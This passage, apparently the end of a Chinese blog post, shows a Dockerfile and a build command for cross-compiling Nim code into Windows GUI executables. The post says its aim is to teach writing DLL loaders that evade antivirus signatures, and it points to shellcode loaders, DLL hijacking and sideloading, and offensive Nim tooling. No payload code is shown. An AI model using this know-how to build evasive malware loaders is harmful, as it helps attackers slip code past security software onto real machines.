1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 FROM nimlang/nim:latestMAINTAINER UCASZ <nope@233 .com>RUN sed -i 's/archive.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \ sed -i 's/security.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \ apt update && \ apt install -y mingw-w64 nim vim && \ useradd -ms /bin/bash app USER app RUN git config --global http.proxy 'http://192.168.109.1:1081' && \ git config --global https.proxy 'http://192.168.109.1:1081' && \ nimble install -y winim && \ git config --global --unset http.proxy && \ git config --global --unset https.proxy WORKDIR /usr/src/app
想要在这里面跨平台编译名为exec.nim
文件非常简单,直接运行如下命令即可(添加的一些参数是为压缩其大小):
1 docker run --rm --user app -v `pwd `:/usr/src/app -w /usr/src/app nim:latest nim c --app=gui -d:mingw -d:release -d:strip --opt:size --passc=-flto --passl=-flto --cpu=amd64 exec.nim
ps:若要跨平台编译,记得使用-d=mingw
参数。如果不想在运行exe文件时弹出黑框,可加上--app=gui
参数。另外,建议在Dockerfile中用命令复制一份根据自己需要而配置的nim.cfg 文件于相应的路径(因为可能默认的配置会有问题,比如跨平台编译cpp的时候会找不到需要的头文件,并且注意头文件第一个字母最好用小写)。
其他 nim还能调用python,js等等语言,甚至还能写asm 和webassembly 。此外,nim执行效率很高。不过呢坑也多 == ,还是强力推荐吧。
相信这篇文章能搞明白就基本具备编写特征免杀的dll loader的能力了,一些东西就自行发挥吧;至于行为层面的,呵呵。。要有机会写一篇关于shellcode loader的大集合,但也可能就咕咕咕了。还有“白加黑”,本文没详细提及也是遗憾之一。
最近还看到两篇关于dll劫持的文章(点这里 、这里 ),有兴趣的读者可以继续研究下。哦,再推荐一个专门找可劫持路径的项目 。
在.NET反射加载dll程序调试的时候,遇到一个让我摸不着头脑的情况——以普通用户身份双击生成的exe文件后,父进程迅速消失,留下了普通用户杀不死的子进程(只有管理员能杀),而且子进程在任务管理器甚至火绒剑里面都看不到,只有tasklist命令才能够发现(听懂掌声);然而一重启电脑却没法复现了…… 求问原因 TAT
参考文献 梦开始的地方:
https://github.com/byt3bl33d3r/OffensiveNim/
文中未提及的部分引用:
https://xz.aliyun.com/t/3235
https://blog.csdn.net/Cody_Ren/article/details/100053434
https://bbs.pediy.com/thread-220405.htm
非常重要的nim手册(若要真正理解,必参考里面的例子):
https://nim-lang.org/docs/winlean.html
https://nim-lang.org/docs/dynlib.html
https://github.com/khchen/winim/
https://nim-lang.org/docs/manual.html#foreign-function-interface-dynlib-pragma-for-import
https://nim-lang.org/docs/backends.html
https://github.com/nim-lang/Nim/wiki/Nim-for-C-programmers